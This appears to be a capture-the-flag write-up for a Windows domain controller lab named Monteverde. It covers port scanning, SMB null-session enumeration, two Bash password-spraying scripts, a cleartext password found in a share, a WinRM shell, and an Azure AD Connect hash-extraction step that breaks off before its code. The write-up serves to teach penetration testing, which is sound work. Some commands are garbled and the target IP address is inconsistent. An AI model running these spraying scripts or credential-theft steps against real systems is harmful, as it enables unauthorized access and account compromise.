Let’s first run a port scan to enumerate the open ports on the target machine 10.10.10.160, and since Windows DCs usually have interesting services running on ports higher then 3000 let’s directly add the -p- option:
# Nmap 7.80 scan initiated Sat Jan 25 21:38:09 2020 as: nmap -sC -sV -Pn -sS -p- -oN scans/nmap_extensive 10.10.10.172 Nmap scan report for 10.10.10.172 Host is up (0.050s latency). Not shown: 65516 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-25 20:58:49Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 49784/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=1/25%Time=5E2CB7EA%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jan 25 21:54:30 2020 -- 1 IP address (1 host up) scanned in 981.04 seconds
The services that we find are typical of Windows DCs and some of them could be easly exploited to collect juicy informations such as DNS, SMB over NetBIOS, LDAP and WinRM (identified by nmap as Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)).
Most of the previous protocols are well known but I’d like to say something more about the port 5985 which is the canonical one used by Windows Remote Management 2. Let’s read what it is on the Microsoft Windows Dev Center :
Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (SOAP)-based, firewall-friendly protocol that allows hardware and operating systems, from different vendors, to interoperate.
1 2 3
The intent of the protocol is to provide consistency and interoperability for management operations across many types of devices (including firmware) and operating systems. WS-Management protocol can be extended as new operations are identified by the IT industry.
The current implementation of the WS-Management protocol is based on the following standard specifications: HTTPS, SOAP over HTTP (WS-I profile), SOAP 1.2, WS-Addressing, WS-Transfer, WS-Enumeration, and WS-Eventing. For more information about the WS-Management standards and XML schemas see https://dmtf.org/standards/wsman
After some research, I’ve found that inside the WinRM’s functions core there are explicit references to the possibility to execute shell commands using this protocol, so it could be a great path to have access to the machine!
And looking around the web, I’ve discovered an easy-to-use Ruby script that provides shell functionality via WinRM (and something more) called Evil-WinRM.
My first attempt to gather information is to try a DNS Zone Transfer, but it reveals itself to be unsecessful.
Interacting with SMB protocol using enum4linux tool and exploiting NULL Session misconfiguration a lot of useful information pop up (let me shorten it, highlighting the most important ones):
========================== | Target Information | ========================== Target ........... monteverde.htb RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================================= | Getting domain SID for monteverde.htb | ============================================= Domain Name: MEGABANK Domain Sid: S-1-5-21-391775091-850290835-3566037492 [+] Host is part of a domain (not a workgroup)
[+] Getting domain group memberships: Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2 Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2 Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
SMB Information Gathering
As you can see, We gather nine usernames, the local and domaing groups and memberships together with the domain password policy. The first thing that comes to mind is to try to get access to SMB Shared Folders explointing a weak password policy that makes possibile to use the usernames as passwords. In order to do so, I write a simple Bash script that uses smbclient to test the login attempts:
if [ -z "$1" ]; then echo"usage: $0 <user.txt>"; exit 1; else echo"Checking self-credentials from file $1..."; row_n=1; found=0; whileread cred; do echo$cred | smbclient -U $cred -L monteverde.htb &>/dev/null; if [ $? -eq 0 ]; then echo"[+] $cred:$cred"; found=1; fi done < $1 if [ $found -eq 0 ]; then echo"No success"; fi fi
But since We know that the minimum password length is seven, let’s filter a little bit the the script’s input:
┌─[user@parrot]─[/media/user/data/Monteverde/codes] └──╼ $echo SABatchJobs | smbclient --user=SABatchJobs -L monteverde.htb Unable to initialize messaging context Enter WORKGROUP\SABatchJobs's password: Sharename Type Comment ADMIN$ Disk Remote Admin azure_uploads Disk C$ Disk Default share E$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share users$ Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to monteverde.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 no workgroup available
┌─[user@parrot]─[~/Monteverde] └──╼ $smbmap u SABatchJobs p SABatchJobs H monteverde.htb [+] Finding open SMB ports.... [+] User SMB session establishd on monteverde.htb... [+] IP: monteverde.htb:445 Name: monteverde.htb Disk Permissions ADMIN$ NO ACCESS azure_uploads READ ONLY C$ NO ACCESS E$ NO ACCESS IPC$ READ ONLY NETLOGON READ ONLY SYSVOL READ ONLY users$ READ ONLY
None of them contains something useful apart from \\\\monteverde.htb\\users$\mhope that has a azure.xml file in which we find some credentials in clear-text:
Let’s try if the password 4n0therD4y@n0th3r$ provides a new valid access, maybe having write permissions on Shared Folders! I duplicate the previous Bash script and modify it a little bit to test this password for all the known usernames:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/bin/bash if [ -z "$1" ]; then echo"usage: $0 <password> <users.txt>"; exit 1; else echo"Checking users from file $2 matching the password $1..."; row_n=1; found=0; whileread user; do echo$1 | smbclient -U $user -L monteverde.htb &>/dev/null; if [ $? -eq 0 ]; then echo"[+] $user:$1"; found=1; fi done < $2 if [ $found -eq 0 ]; then echo"No success"; fi fi
The user that matches the given credentials (mhope) has got the same permissions of the previous one:
1 2 3 4
┌─[✗]─[user@parrot]─[/media/user/data/Monteverde/codes] └──╼ $./smb_user_bruter 4n0therD4y@n0th3r$ ../scans/users.txt Checking users from file ../scans/users.txt matching the password 4n0therD4y@n0th3r$... [+] mhope:4n0therD4y@n0th3r$
It’s time to attack the WinRM service and the only way that seems to be viable is to try the found credentials against it, and in fact it works! mhope lets us obtain a remote user shell via Evil-WinRM:
Why should this be interesting? After a lot of research, I’ve found an amazing blog post by @XPN that deeply explains how to exploit Azure AD and local Active Directory misconfigurations during a red team. Particularly interesting for us is the Password Hash Synchronisation (PHS) process which uploads user accounts and password hashes from Active Directory into Azure, letting the users to authenticate with their local AD credentials against Microsoft services such as Office365, Sharepoint and so on. In short, using an “express” ADSync configuration, the hashes that has to be sent to the Azure AD are stored inside a local Microsoft SQL Server table. Having enough permissions on the DBMS instance, it is possible to retrive them, to crack them and to finally obtain them in clear-text. I highly recommend to read the article that is linked above to fully understand this process!
In order to confirm my theory, I look for a local database named ADSync that contains the main columns used during the hash decryption process, and here you are:
Name Status Containment Type Recovery Model CompatLvl Collation Owner ____ ______ ________________ ______________ _________ _________ _____ ADSync Normal None Simple 100 Latin1_General_CI_AS MEGABANK\Administrator master Normal None Simple 140 SQL_Latin1_General_CP1_CI_AS sa model Normal None Full 140 SQL_Latin1_General_CP1_CI_AS sa msdb Normal None Simple 130 SQL_Latin1_General_CP1_CI_AS sa tempdb Normal None Simple 140 SQL_Latin1_General_CP1_CI_AS sa
It’s time to use the PoC that the author put in his article that exploits PHS misconfiguration and decrypts the Administrator password using the algorithm obtained reversing the C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll library, which is responsible for key management and the decryption of this data. But since the code doesn’t work for some unpredictable reason I need to modify it (I’m really bad at coding in PowerShell…) and this is my final result: